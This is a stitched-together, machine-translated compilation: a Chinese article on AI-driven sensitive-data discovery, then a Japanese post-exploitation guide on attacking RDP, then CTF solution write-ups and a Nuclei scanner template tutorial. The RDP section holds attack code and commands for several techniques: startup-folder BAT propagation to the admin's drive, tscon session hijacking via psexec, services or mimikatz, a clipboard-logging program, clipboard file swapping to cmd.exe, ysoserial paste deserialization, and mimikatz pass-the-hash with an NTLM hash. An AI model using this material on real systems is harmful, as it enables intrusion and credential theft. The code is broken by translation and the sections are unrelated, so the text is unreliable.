1.發現過程緩慢基於規則的系統通常依賴數據庫和存儲掃描器來發現新記錄。他們花費大量時間來分析集成的存儲實例,必須進行一一掃描。如果在掃描期間添加新記錄,該工具將不會發現它,直到完成當前掃描並開始新掃描。此外,掃描儀必須在每次掃描期間檢查所有記錄,包括自上次掃描以來未更改的記錄。

2.非結構化記錄的發現能力較差基於規則的工具可以輕鬆發現數據庫、日誌和電子表格等結構化數據源中的敏感記錄。當涉及非結構化數據源(電子郵件、文本文檔、社交媒體)時,發現的準確性會顯著下降,因為非結構化記錄分散且不一致。使用非AI 解決方案掃描此類數據源通常會提供不可靠且不完整的結果,考慮到企業生成的約90% 的數據是非結構化的,這一點尤其重要。

3.需要大量的手動輸入為了成功使用基於規則的系統,企業必須執行大量手動活動:設置配置、指定掃描和分類規則以及正則表達式、查看結果等等。大量手動輸入會增加引入人為錯誤的機會。使用基於規則的系統也不能消除手動發現系統無法識別的數據(例如上面討論的非結構化記錄)的需要。

4.分類保護錯誤當數據沒有被正確、完整地發現時,任何工具都很難對其進行分類:確定敏感記錄的類型、計算風險評分並分配所需的網絡安全措施。敏感數據分類不正確可能會使記錄不受保護,從而導致數據被盜和合規違規。

5.缺乏網絡安全背景基於規則的系統收集有關數據發現的有限數據。通常,它們受到發現的數據類型及其位置的限制。為了檢查工具的發現和分類性能,網絡安全專家必須手動評估新記錄並收集缺失的上下文,然後才能做出最終決定。

這些限制源於基於規則的系統的核心算法,這就是為什麼即使是經驗豐富的開發人員和系統管理員也難以克服它們。對於存儲空間相對較小、每天不會創建大量數據並且擁有可用IT 資源來管理髮現過程的組織來說,使用此類系統是有益的。

如果有嚴格的網絡安全要求,並且需要更多背景信息來發現和保護數據,請考慮選擇基於人工智能的工具。採用強大的基於人工智能的系統可以滿足敏感數據保護和網絡安全合規性方面的許多業務需求。

為什麼使用人工智能進行數據發現和保護使用人工智能進行數據發現和保護可以顯著提高數據發現和保護解決方案的準確性和可靠性。企業可以在數據發現過程中使用各種人工智能模型和技術來獲得以下優勢:

image.png

1.識別非結構化數據與基於規則的系統不同,基於人工智能的解決方案可以識別結構化和非結構化數據中的敏感記錄。借助大型語言模型(LLM) 和自然語言處理(NLP),此類解決方案可以檢測信件、聊天日誌、文本文件以及其他無法由規則完全定義的來源中的敏感信息。

對非結構化數據的分析使人工智能驅動的敏感數據發現工具變得可靠,並有助於提高組織的整體網絡安全態勢。

2.實時檢測新記錄人工智能算法不需要迭代掃描可用環境來發現新數據。相反,他們可以分析新的和編輯的記錄,從而顯著加快檢測速度並避免瓶頸。一些敏感數據發現工具既使用基於規則的掃描進行常規數據檢查,又使用人工智能模型來更準確地分析非結構化記錄。

3.增強流程自動化基於人工智能的工具可以可靠地自動化數據發現、分類和保護期間的大多數活動。初始配置後,他們很少需要手動輸入和額外的調整。高水平的自動化可以幫助企業加快數據發現速度,並將網絡安全專家從日常任務中解放出來,使他們能夠專注於需要其專業知識的挑戰。

4.正確分類和保護數據由於能夠理解數據的含義和上下文,人工智能可以準確地對發現的任何存儲格式的記錄進行分類。正確的分類和敏感度分數允許人工智能選擇相關的記錄,並採取相應的安全措施,改善組織的安全狀況並遵守相關的安全要求。

5.從數據分析中獲得見解由人工智能驅動的數據發現解決方案會生成並收集大量與其工作相關的數據,包括新敏感記錄的性質和位置、分類結果以及常見的數據安全策略違規行為。此類軟件可以使用這些數據創建儀表板,幫助安全專家快速評估和改進發現和保護流程。

該解決方案還可以創建有關最近事件和數據保護狀態的自動報告,這些報告對於深入評估組織的安全性和通過合規性審核非常有用。

使用人工智能進行數據發現可以將數據發現解決方案提升到一個新的水平,並提高組織的網絡安全性。然而,以高效且經濟高效的方式實施它需要在網絡安全領域使用人工智能的經驗。

人工智能數據發現和保護工具如何工作用於數據發現和保護的高級解決方案可以執行從文件掃描到數據分析和風險報告的各種活動。此類工具可能完全基於人工智能算法或具有附加人工智能功能的基於規則的系統。

雖然每個解決方案都有自己的殺手級功能和工作流程,但可以將大多數基於人工智能的工具所經歷的數據發現過程概述為以下關鍵階段:

image.png

1.數據掃描AI 解決方案持續監控它可以訪問的環境以獲取新數據:雲和本地服務器、數據庫、設備驅動器等。數據發現和保護解決方案的管理員可以配置它應查找的數據類型並提供對實例的訪問它應該監控。

掃描通常包括以下關鍵步驟:

马云惹不起马云 監控可訪問存儲實例的更改和新記錄

马云惹不起马云識別潛在敏感記錄

马云惹不起马云準備非結構化數據進行處理

當解決方案發現包含潛在敏感數據的文件時,它會嘗試對其進行分類。

2.數據分類和標記根據其配置,軟件可以通過以下方式對發現的記錄進行分類:

马云惹不起马云敏感數據的類型。該解決方案可以識別個人、財務或製造數據以及知識產權。在這個階段使用LLM和NLP等人工智能技術有助於對非結構化數據進行高精度分類。

马云惹不起马云敏感度得分。該解決方案可以根據數據的性質、位置、所應用的保護措施和其他因素來計算發現的記錄的敏感程度。此分數有助於解決方案決定在後續處理階段如何處理數據以及何時需要通知系統管理員。

分類完成後,解決方案會為發現的記錄分配標籤。標籤通常包括數據類型、與其交互所需的訪問級別以及限制級別。解決方案管理員還可以創建自定義標籤。

3.保護數據發現軟件為保護其發現的數據而採取的步驟完全取決於組織的網絡安全標準和環境、適用的法規等。通常,人工智能驅動的軟件可以實施以下數據保護措施:

马云惹不起马云加密

马云惹不起马云准入政策

马云惹不起马云將數據傳輸到更安全的存儲

马云惹不起马云去識別化和匿名化

马云惹不起马云數據脫敏

4.警報和分析除了持續的發現和保護過程之外,還可以使用人工智能算法來處理他們收集的數據並編譯有用的儀表板:

马云惹不起马云當前需要管理員解決的安全威脅

马云惹不起马云各種數據記錄和存儲實例的風險評分

马云惹不起马云常見的數據保護違規行為,這可能表明有害的用戶行為和安全策略中的漏洞

马云惹不起马云應用保護與合規性要求之間的不一致

此類數據分析和可視化能夠檢測企業保護中的薄弱環節並改進安全策略。

儘管數據發現和保護軟件幾乎可以完全自動工作,但網絡安全專家必須概述其決策,以確保充分的數據保護。當此類軟件發現敏感度較高或存在較多安全風險的新記錄時,它可以通知管理員。然後,管理員可以查看解決方案分配的保護措施,並根據需要進行更改。

如何應對人工智能驅動的數據發現的關鍵挑戰構建自定義數據發現和保護工具總是會面臨針對客戶群體、需求和合規性要求所特有的挑戰。

image.png

1.相關數據存儲集成為了能夠發現所有敏感數據,工具需要訪問和讀取組織所有環境中的記錄。但是,為所有可能的雲和本地存儲實例添加API需要開發人員花費大量時間,並且可能會引入安全漏洞。在開始開發之前,會採訪客戶的利益相關者,以了解他們的環境,僅添加他們需要的集成,並保護已實施的API。

2.可靠的開發組件使用第三方組件可以顯著加快開發過程,但也會增加在解決方案中添加後門的風險。為了找到開發時間和安全性之間的平衡,將會測試第三方軟件並使用已知漏洞數據庫對其進行檢查,然後再將其添加到客戶的解決方案中。

如果解決方案使用GPT或Claude等商業語言模型,可以創建一個私有數據庫來訓練它或在本地部署模型,以避免與其他公司共享數據。

3.均衡的資源利用與任何基於人工智能的解決方案一樣,持續的數據發現可能非常消耗資源,特別是當企業不斷生成大量數據時,這可能會導致高昂的雲使用成本或需要維護強大的本地計算機。為了避免開發和維護成本飆升,採用了敏捷和DevOps實踐,優化AI性能以消除不必要的操作,並實施靈活的擴展機制。

4.安全配置人工智能數據發現和保護工具需要訪問和管理其管理環境中的任何記錄。這些記錄可能會被黑客或內部人員濫用,以尋求訪問敏感數據而不被注意到的方法。限制工具的安全權限將阻礙其效率,因此,會尋求性能和安全性之間的平衡:配置對記錄的即時訪問、發現數據時匿名化、為管理員添加數據操作通知等。

5.人工智能偏見任何基於人工智能的解決方案都會帶有其開發人員和訓練數據集的偏見。

對於數據發現和保護解決方案,這種偏差可能會導致數據分類不正確或安全措施執行不足。在產品發布之前檢測人工智能偏差的最可靠方法是通過廣泛的測試。

培養人工智能、網絡安全和數據管理等複雜軟件開發領域的專業知識。憑藉為來自嚴格監管行業的客戶構建定制解決方案的經驗,可以儘早概述關鍵的開發挑戰並提供克服這些挑戰的方法。

結論數據發現和保護工具是任何企業網絡安全的重要組成部分,因為它們為可靠的數據安全和管理奠定了基礎。此類工具可以跨任何云、本地和混合基礎設施發現敏感數據,並根據企業的策略和合規性要求實施網絡安全措施。

通過人工智能增強數據發現和保護,將此類解決方案提升到一個新的水平。與基於規則的系統相比,人工智能可以發現非結構化數據並對其進行分類,犯的錯誤更少,不需要大量的手動輸入,並可以收集數據以用於未來的安全改進。

但要構建人工智能驅動的數據發現解決方案並安全地部署它,用戶需要聘請網絡安全、人工智能開發和數據管理方面的專家。

最近、プロジェクトの管理者は、RDPがマウントされた後、管理者を取り除き、時間があればRDPの使用方法を整理すると考えました。RDP利用总结:吊り下げディスクの使用に基づいてファイルをコピーすることはそれほど多くありません。ファイルをドラッグするか、異なる吊り下げディスクに従ってスタートアップアイテムをドロップするかどうかを決定できます。 https://github.com/cnucky/darkguardiandarkguardianなど、ファイルを自動的に監視およびコピーするアプリケーションがいくつかあります。RDPログイン後のTSClient(ハングディスク)を監視するために使用されるツールです。ツールがバックグラウンドで実行されている場合、ハンギングディスク上のファイルのリストを自動的に取得し、指定されたファイルをダウンロードし、マウントされたハードディスクのスタートアップアイテムにトロイの木馬ファイルをコピーできます。

20201214123213

rdpinception

この方法は比較的役に立たない。原則は、BATスクリプトを使用してサーバースタートアップアイテム/WinLogon実行スクリプトに配置し、管理者がディスクをハングアップして実行コマンドを再起動するのを待つことです。

@ECHOオフ

Windowsの更新をエコー.

@ECHOオフ

タイムアウト1 NUL 21

mkdir \\ tsclient \ c \ temp nul 21

MKDIR C: \ TEMP NUL 21

run.bat c: \ temp nul 21をコピーします

run.bat \\ tsclient \ c \ temp nul 21をコピーします

del /q%temp%\ temp_00.txt nul 21

dirs=dir /a:d /b /s c: \ users \*startup*

dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup*

echo |%dirs%| findstr /i 'microsoft \ windows \ start menu \ programs \ startup' '%temp%\ temp_00.txt'

echo |%dirs2%| FindStr /I 'Microsoft \ Windows \ Start Menu \ Programs \ Startup' '%TEMP%\ TEMP_00.TXT'

for /f 'tokens=*' %% a in(%temp%\ temp_00.txt)do(

run.bat '%% a' nul 21をコピーします

c: \ temp \ run.bat '%% a' nul 21をコピーします

コピー\\ tsclient \ c \ temp \ run.bat '%% a' nul 21

))

del /q%temp%\ temp_00.txt nul 21

rem if 'windomain'='%userdomain%'(cmd.exe /c calc.exe)

RDPセッションハイジャック

実用コマンドはtsconです。これは、パスワードを介して別のセッションに切り替えるのが垂直です。ただし、システムでは、パスワードを使用せずに異なるユーザーセッションを切り替えることができます。セッションを別のセッションに切り替えます。

この手法は、主にWin7以降の環境を対象としています。全体的なアプリケーションシナリオは、Windows 2012以降がデフォルトでプレーンテキストを保存しない場合、ターゲットホストに切り替えるか、ドメイン内の現在のユーザーがローカルユーザーである場合、ドメインユーザー許可に切り替えることができます。

まず、PSEXECをローカルで使用してシステムに言及します。 (ここでは、システムサービスを手動で作成してそれらを実装できます。)Shift/Utilmanバックドアを使用して、パスワードなしでデスクトップにログインすることもできます。

1.psexec

20201214130520

c: \ windows \ system32quser

ユーザー名セッション名IDステータスアイドル時間ログイン時間

管理者RDP-TCP#1 1が実行されています。 2020/12/14 11:14

テストRDP-TCP#0 2ランニング1:02 2020/12/14 13:04

C: \ Windows \ System32TScon 2 RDP-TCP#1 20201214141422

2。サービス

Quser

SC SESSHIJACK BINPATH='CMD.EXE /K TSCON 2 /DEST:RDP-TCP#1'

ネットスタートSesshijack 20201214142146

20201214142235

3。ミミカッツ

特権:3360Debug

TS:セッション

toekn:3360Elevate

TS:REMOTE /ID:2 20201214143542 20201214143555

4。パスワードなしのハイジャックをシフト

com hijacking shift backdoor in webshell 20201214143759

20201214144009

20201214144020

rdpclip.exe utilization

RDPサービスは、テキストとファイルをコピーして貼り付けることができます。主にこのrdpclip.exeプロセスを通じて実装されています。コピーの特定の操作を知りたい場合は、Clipspyを使用してクリップボードの変更を表示できます。

ATTCKで著作権を使用してコピーのテキストコンテンツを取得する多くの開示方法を見ました。https://Research.Checkpoint.com/2019/Reverse-rdp-Attack-Code-execution-on-rdp-clients/hook rdpclip.exeにも表示されています。

1。せん断ボード監視

10秒ごとに、クリップボードのコンテンツを読んでローカルに保存します。

#include例外

#include iostream

#include ostream

#include stdexcept

#include文字列

#include windows.h

#include fstream

名前空間STDを使用。

クラスraiiclipboard

{

public:

raiiclipboard()

{

if(!openclipboard(null))

runtime_errorを投げます( 'クリップボードを開けません。');

//.またはクリップボードエラーのカスタム例外クラスを定義します。

}

〜RaiicLipboard()

{

closeclipboard();

}

//コピーを禁止します

private:

raiiclipboard(const raiiclipboard);

raiiclipboard operator=(const raiiclipboard);

};

クラスraiitextgloballock

{

public:

明示的なraiitextgloballock(ハンドルhdata)

: m_hdata(hdata)

{

m_psz=static_castconst char*(globallock(m_hdata));

if(!m_psz)

runtime_errorをスロー( 'クリップボードテキストでロックを取得できません。');

}

〜raiitextgloballock()

{

GlobalUnLock(M_HDATA);

}

const char* get()const

{

M_PSZを返します。

}

private:

M_HDATAを処理します。

const char* m_psz;

//コピーを禁止します

raiitextgloballock(const raiitextgloballock);

raiitextgloballockオペレーター=(const raiitextgloballock);

};

文字列getClipBoardText()

{

raiiclipboardクリップボード。

hdata=getClipBoardData(CF_TEXT);

if(hdata==null){

戻る '';

//runtime_errorをスロー( 'クリップボードテキストを取得できません。');

}

raiitextgloclock textgloballock(hdata);

string text(textgloballock.get());

テキストを返します。

}

void savedata(string data){

ofstream out( 'info.txt'、iOS:3360App);

if(out.is_open())

{

out data + '\ n';

out '----------------------------- \ n';

out.close();

}

}

int main()

{

static const int kexitok=0;

static const int kexiterror=1;

文字列data1='';

文字列data2='';

試す

{

while(true){

data2=getClipBoardText();

if(data1!=data2){

cout data2 endl;

savedata(data2);

}

それ以外{

Cout 'Clip Actionを待っています.' endl;

睡眠(300000);

}

data1=data2;

睡眠(10000);

}

Kexitokを返します。

}

キャッチ(const例外e)

{

cerr '*** error:' e.what()endl;

Kexiterrorを返します。

}

} 20201214201005

安っぽいRumblesの記事によると。 Get-ClipboardContents.ps1を使用してクリップボードコンテンツを取得することもできます。複数のRDPインターフェイスで取得できます。

3924 888 rdpclip.exe x64 3 dmz2 \ rasta

注射3924 X64 SMB

PowerShell-Import D: \ Tools \ get-clipboardContents.ps1

PowerShell Get-ClipboardContents -Pollinterval 1 20201214194146

2。反撃rdp

ハンギングディスクなしで逆にファイルを管理者に転送する方法は?オンラインで2つの方法を見つけました。

1.フックGetClipBoardData関数とDragQueryFilew関数は似ています。 2日間のデバッグの後、私はついにすべての兄弟の助けを借りてそれを見つけました。

2。後で、前のセクションでクリップボードの内容を取得できると思ったので、彼がコピーしたファイルを変更できました。

CVE-2019-0887

Li Yongdeには、紙に記載されているのと同じ考えがあります。 wcsrchr(szfile、 '\')はアドレスを受信するために使用されるため、Microsoftは./この種のパスもサポートしています。脆弱性の理由は、Winrar Pathの理由に似ています。

Detours Libraryを使用してGetClipboardData関数とDragQueryFilew関数をフックし、ファイルデータとパスを追加して最終効果を実現します:k05qi-id7g5

クリップボードファイルを交換

#include iostream

#include windows.h

#include shlobj.h

int copyfiletoclipboard(char szfilename []);

int main()

{

copyfileToclipboard( 'c: \\ windows \\ system32 \\ cmd.exe');

0を返します。

}

int copyfiletoclipboard(char szfilename [])

{

uint udropeffect;

hglobal hgbleffect;

lpdword lpddropeffect;

ドロップファイルstdrop;

hglobal hgblfiles;

LPSTR LPDATA;

udropeffect=RegisterClipboardFormat( '優先DROPEFFECT');

hgbleffect=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dword));

lpddropeffect=(lpdword)globallock(hgbleffect);

*LPDDROPEFFECT=DROPEFFECT_COPY; //copy;スクレイピングと貼り付けにはdropeffect_moveを使用してください

GlobalUnLock(hgbleffect);

stdrop.pfiles=sizeof(dropfiles);

stdrop.pt.x=0;

stdrop.pt.y=0;

stdrop.fnc=false;

stdrop.fwide=false;

hgblfiles=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dropfiles) + strlen(szfilename) + 2);

lpdata=(lpstr)globallock(hgblfiles);

memcpy(lpdata、stdrop、sizeof(dropfiles));

strcpy(lpdata + sizeof(dropfiles)、szfilename);

GlobalUnLock(hgblfiles);

openclipboard(null);

emptyClipboard();

setclipboardData(CF_HDROP、hgblfiles);

setclipboarddata(udropeffect、hgbleffect);

closeclipboard();

返品1;

このように、管理者がサーバーからファイルをコピーしてマシンにダウンロードした後、ファイルはcmd.exeに置き換えられます

bg3bgfia04n11217.png

.NET脱介入

`https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/decred/be-deserialisation-in-net-methods-and-classes-code-code-execution-via-paste/`で紹介されたアイデアを参照してください。 (私はこの方法をプレイすることを決して期待していませんでした)

`https://github.com/pwntester/ysoserial.net`を利用します

使用プロセスは、クリップボードを貼り付けるときにシリアル化コードに置き換えることです。一部のアプリケーションが貼り付けられると、脱出操作がトリガーされます。さらに、ターゲット.NETアプリケーションがより高い権限で実行される場合、許可プロモーションとして使用することもできます。 (現在のユーザーはUACアカウントのパスワードを持っていませんが、管理者はUACの前に.NETアプリケーションを開きました。)ysoserial.exe -p Clipboard -c calc -f System.String q9tct-86xmr

テストプログラム:

PowerShell ISE

vs

描画ツール

TextBox、PasswordBox、またはRichTextBoxを使用するWPFアプリケーションも影響を受けます。

rdp pth

ユーザーハッシュログインウィンドウで

mstsc

サーバーは、Windows 8.1 Windows Server 2012 R2でデフォルトで有効になっている制限付き管理モードを有効にする必要があります。同時に、Win 7とWindows Server 2008 Rがインストールされている場合、2871997と2973351パッチもサポートされています。クライアントは、制限付き管理モードをサポートする必要があります

制限付き管理モードをオンにします

reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disableatretedadmin /t reg_dword /d 000000000 /f有効にすると、MSTSC.EXE /RESTIDEDADMINログインパスワードなしで、現在のユーザーのハッシュは検証に使用されます。

mimikatz

mimikatz.exe

特権:Debug

sekurlsa:pth /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b '/run:mstsc.exe /restrictedadmin'

1. pyc

PYCを使用してオンラインで逆コンパイルしてPythonソースコードを取得します。

#!/usr/bin/env python

#詳細については、https://tool.lu/pyc/をご覧ください

#version: python 3.8

ランダムをインポートします

def encrypt_file(file_path):

random.seed(114514)

#警告: Decompyleが不完全

file_path='./flag'

encrypt_file(file_path)

次に、AI分析を使用して、対応する復号化スクリプトを取得します

ランダムをインポートします

OSをインポートします

def decrypt_data(encrypted_data):

random.seed(114514)

decrypted_data=bytearray()

byte in necrypted_data:の場合

key=random.randint(0、128)

decrypted_data.append(byte ^ key)

decrypted_dataを返します

def read_file(file_path、mode='rb'):

open(file_path、mode)をfile:として

file.read()を返します

def write_file(file_path、data、mode='wb'):

open(file_path、mode)をfile:として

file.write(data)

def decrypt_file(encrypted_file_path、output_file_path):

encrypted_data=read_file(encrypted_file_path)

decrypted_data=decrypt_data(encrypted_data)

write_file(output_file_path、decrypted_data)

__NAME __=='__ Main __' :の場合

encrypted_file_path='flag.enc'

output_file_path='flag_decrypted.txt'

decrypt_file(encrypted_file_path、output_file_path)

#flag {u_r_g00d_at_do1n_pyc}

2. mwatch

ヒント:データセキュリティ研究者がスマートデバイスによって収集されたデータをリアルタイムで分析すると、デバイスユーザーの価値が高いことを検出します。最高の値を分析するのに役立ちます。フラグ{MD5(データ収集デバイス名データ受信デバイス名値)}

心拍数は何度も表示されます。質問の説明に基づいてこれを探す必要があります。関連する心拍数のみを確認してください

image-20240428205017240

image-20240428205017240

フラグ{MD5(MIスマートバンド5_REDMI K40_128)}

フラグ{453D8FEDA5ADB6E7B4D54F71A9CE9E14}

3. babyrsa

ヒント:特定の従業員には、素数を生成する初期値があり、このアルゴリズムを長時間実行しました。このプログラムは誤って終了し、誤って初期値を削除しました。プレーンテキストを復元できますか?

ソースコード:

#task.py

#!/usr/bin/env python3

# - * - coding: utf-8-* -

秘密のインポートフラグから、init

crypto.util.Numberインポートから *

sage.allからimport *

gmpy2インポートirootから

m=bytes_to_long(flag.encode())

r=getPrime(128)

p=init

#範囲(r-1):の場合

#p +=next_prime(init)

#arsert iroot(p、3)[1]==1

Q=getPrime(12)

#n=p*q*r

n=r ** 4*q

E=getPrime(17)

c=pow(m、e、n)

印刷(f'r={r} ')

print(f'e={e} ')

印刷(f'c={c} ')

#R=287040188443069778047400125757341514899

#E=96001

#c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

Qを取得するために12ビットの素数を爆破してから復号化します

crypto.util.Numberからlong_to_bytesをインポートします

R=287040188443069778047400125757341514899

E=96001

c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

#指数のモジュラスが実際にr ** 4であると仮定すると

n=r ** 4

#emodφ(n)のモジュラー逆数を計算します。ここで、φ(n)は(r-1)*(r ** 3)のようなrの関数になる可能性があります

#RSA復号化式m=c^d mod nにはφ(n)の正しい値が必要です。ここで、d=e^( - 1)modφ(n)

#ここで、φ(n)=r^4 -r^3を単純化として仮定すると、実際のRSAセットアップに基づいてこれを調整する必要があるかもしれません

phi_n=r ** 4 -r ** 3

d=inverse(e、phi_n)

#メッセージを復号化します

m=pow(c、d、n)

#番号をバイトに変換します

メッセージ=long_to_bytes(m)

印刷(メッセージ)

#flag {3b0ce326141ea4f6b5bf2f37efbd1b42}

4. バックパック

BKZアルゴリズムを使用して、一連のベースを解くバックパック暗号化

#!/usr/bin/env python3

# - * - coding: utf-8-* -

sage.allからimport *

秘密のインポートフラグから

crypto.util.Numberインポートから *

数学からインポートlog2から

クラスナープサック:

def __init __(self、n、m):

self.m=[]

self.n=n

self.m=self.pre(m)

self.a=0

self.b=0

def pre(self、m):

tmp_m=bin(m)[2:]

t=[]

TMP_M:のTMPの場合

T.Append(int(tmp))

tを返します

def get_m(self):

seq=[randint(2 ** 34,2 ** 35)for _ in range(self.n)]

self.m=seq

def calc_denity(self):

t=log2(max(self.m))

d=self.n/t

印刷(d)

def enc(self):

self.get_m()

self.calc_dences()

c=0

範囲のt(len(self.m)):

c +=self.m [t] * self.m [t]

印刷(f'c={c} ')

print(f'm={self.m} ')

__NAME __=='__ Main __' :の場合

m=bytes_to_long(flag.encode())

n=m.bit_length()

k=ナップサック(n、m)

k.enc()

#c=231282844744

#M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、23936341812、31011714749、30524482330、21733333371593、17530715307153071530715307153071530717153071530715307153071530715307153071530715307153071530715307153071530715307153071715チ19140841231、33846825616、17334386491、28867755886、2935454582、21758322019、27261411361、31465376167、26145493792、270792、270792、2707992 33514052206、25397635665、21970496142、30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、21108080920]

Sagemathで実行:

crypto.util.Number inmort long_to_bytesから

C=231282844744

M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、

23936341812、31011714749、30524482330、21737374993、17530717152、19140841231、

33846825616、17334386491、288677555886、29354544582、21758322019、27261411361、

31465376167、26145493792、27075307455、33514052206、25397635665、21970496142、

30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、

21108080920]

l=block_matrix([[1、matrix(zz、m)]、[0、c]])。lll())。

L:の行

row [-1]==0およびlen(set(row [:-1]))==1:の場合

#最後の要素を除くすべての要素が同じであると仮定すると同じです

ans=[abs(i)in ow in ow in [:-1]]

ans=int( ''。join(map(str、ans))、2)

print(long_to_bytes(ans))

5. ターゲットを絞ったデータ収集

OpenPyxlをインポートします

リクエストをインポートします

インポート時間

urllib.parseインポートurlencodeから

burp0_url='http://121.40.65.125:23328/submit'

Def devery_name_and_id(input_file、output_file):

wb=openpyxl.load_workbook(input_file)

ws=wb.active

ws.iter_rows(min_row=1、max_col=1、max_row=ws.max_row、values_only=true):の行の場合

行[0] :の場合

名前、id_number=row [0] .split( '----')#extrame name and Identityカード

印刷(名前、id_number)

Age=2024-int(id_number [6:10])

if(int(id_number [10:12])4):

年齢- =1

sexx=u'male '

burp0_json={'address':' asd '、' age ': str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard': id number、' name ': '' '' 'position ':' as '、' sex': sexx}

sexx2=u'female '

burp0_json1={'address':' asd '、' age '3: str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard'3360 id _number、' name ': '' '、 'position ':' as '、' sex': sexx2}

try:

r0=requests.post(burp0_url、json=burp0_json)

r1=requests.post(burp0_url、json=burp0_json1)

print(r0.request.body)

print(r0.text、r1.text)

#time.sleep(0.5)

requests.exceptions:を除く

print( 'err')

#time.sleep(2)

#ws.append([name.strip()、id_number.strip()])

#wb.save(output_file)

wb.close()

__name__=='__main __' :の場合

input_file='data1.xlsx'

output_file='deprosed_data.xlsx' #Noの使用、破棄されます

devery_name_and_id(input_file、output_file)

6. 天気

レビューbundle.js

image-20240428213212351

image-20240428213230335

アクセスするパラメーターを取得します

Image

7.mysqlクリーンアップ

ヒント:

要件に応じて、データベースからいくつかのユーザーデータを完全に削除するには、提供されたMySQLコンテナに接続してすべてのCTFテーブルを削除してください。ユーザーIDは5142、2123、1169、および8623です。これらのユーザーを徹底的にクリーンアップする必要があり、サーバーでは残りのデータを見つけることはできません[および他のユーザーデータも変更できません。操作が成功すると、システムはCTF.FLAGテーブルにフラグデータを入力します。 (MySQL CTFユーザーパスワードPSWD@123)

( '5142'、 '2123'、'1169 '、' 8623 ')のushows_id in(' 5142 '、' 2123 '、' 18623 ')から削除します。

( '5142'、 '2123'、'1169 '、' 8623 ')inuser_id in(' 5142 '、' 2123 '、' 8623 ');

userlog where where user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

( '5142'、 '2123'、'1169 '、' 8623 ')でid(' 5142 '、' 2123 '、'1169'、 ');

テーブルを再構築し、削除後に残りのデータをクリアします

Alter Tableユーザーエンジン=innodb;

Alter Table userlog Engine=innodb;

Table TransactionHistory Engine=Innodbを変更します。

Alter Table ShopphingCart Engine=Innodb;

Alter Table Orders Engine=Innodb;

image-20240428213639377

8. ファントムスクエア

第3レベルのマジックスクエアには8つの結果しかありません。もう数回試してみてください

Hashlibをインポートします

ランダムをインポートします

文字列をインポートします

#文字セットを英数字として定義します

charset=string.ascii_letters + string.digits

true:

#チャーセットからランダムな4文字列を生成します

rand_str='' .join(random.choice(charset)for _ in _ in range(4)) + 'cyhqp8lsgzyjtnud'

#文字列のSHA-256ハッシュを計算します

hash_output=hashlib.sha256(rand_str.encode())。hexdigest()

#ハッシュがターゲットハッシュと一致するかどうかを確認します

hash_output=='11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c'3360の場合

print(rand_str [:4])#一致が見つかった場合は最初の4文字を印刷します

壊す

'' '

[2、7、6、9、5、1、4、3、8]

[2、9、4、7、5、3、6、1、8]

[4、3、8、9、5、1、2、7、6]

[4、9、2、3、5、7、8、1、6]

[6、1、8、7、5、3、2、9、4]

[6、7、2、1、5、9、8、3、4]

[8、1、6、3、5、7、4、9、2]

[8、3、4、1、5、9、6、7、2]

4 3 8

9 5 1

2 7 6

'' '

image-20240428214506459

1。スクリプトの構文形式

ケース感度

インデント:インデントを使用して階層的な関係を表すために、YAMLはスペースをインデントに使用します。通常はインデンテーションレベルごとに2つのスペースがあります。

キー価値ペア:YAMLは、コロン:で区切られたキー値ペアを介してデータを保存します。

リスト:短い水平線を使用して、リスト内のアイテムを表します。

コメント:#から始まる行はコメントです。

文字列:文字列は、引用符または単一または二重引用符のないいずれかを持つことができます。

IDには、中国語、特殊文字、スペースなどを持つことはできません。IDパラメーターは、出力タイトルとして理解できます。これは、簡単で理解しやすいIDで、より速く判断できるようになります。

情報:情報ブロック、名前、著者、重大度、説明、リファレンス、ラベル、すべて情報ブロックの範囲に属します。一般的に言えば、名前、著者、重大度、説明、ラベルを書くだけです。

名前:テンプレート名、この提案はIDと同じです

重大度:重大度、中国語はここでは使用できません。臨界、高、中程度、および情報は、一般に脅威レベルを示すために使用されます。

説明:脆弱性の紹介、中国語はここで使用できますが、特殊文字は制限されていません。一般に、脆弱性の導入に使用されます。これにより、ユーザーが脆弱性の特定の説明を理解できるようになります。

タグ:タグは、簡単なスキャンのために脆弱性にタグを追加することです。

私は毎日NucleiのYAMLスクリプトを書きます。 Nucleiには、Cookie-Reuse属性が組み込まれています。複数のリクエストが開始されると、セッションを維持する必要があります。 Cookie-reuse:を真に追加して、複数のリクエスト中にセッションを維持することができます。これは、認証がある場合に役立ちます。

試合が失敗した場合は、-debugを使用してリクエストパッケージを取得し、デバッグ用にパッケージを返すことができます。バープを使用してパッケージをキャプチャし、リクエストパッケージのコンテンツを直接貼り付けます

2。一般的な核コマンド

1。テンプレート形式を確認します

Nuclei -T test.yaml -validate

2.テンプレートとターゲットを指定します

Nuclei -T test.yaml -u http://exam.com

3。バッチスキャン

Nuclei -T test.yaml -l Target.txt

4. Socks5プロキシスキャンを指定します

Nuclei -T test.yaml -u http://exam.com -p Socks5: //127.0.0.1:7890

3。スクリプトの例

ID:ファイルインクルード#テンプレートの一意の識別子

info:#名前、著者、バージョンなど、テンプレートの基本情報。

name:ファイルには、スクリプトの名前が含まれています

著者: bakclion #template著者

severity: high #Securityレベルオプションは、情報、低、中、高、批判、不明です

説明:撮影範囲をテストするための核テンプレート#descriptionテンプレートコンテンツ

Reference: http://www.baidu.com #Reference Source

tags:テスト#categoryタグ

requests:#ターゲットと対話する方法のリクエストセクションを定義します

-Method: getやpostなどの#httpメソッドを取得する

PATH: #requested Path

- '{{baseurl}}/vul/dir/dir_list.php?title=./././././././etc/etswd'

Headers: #Requestヘッダー

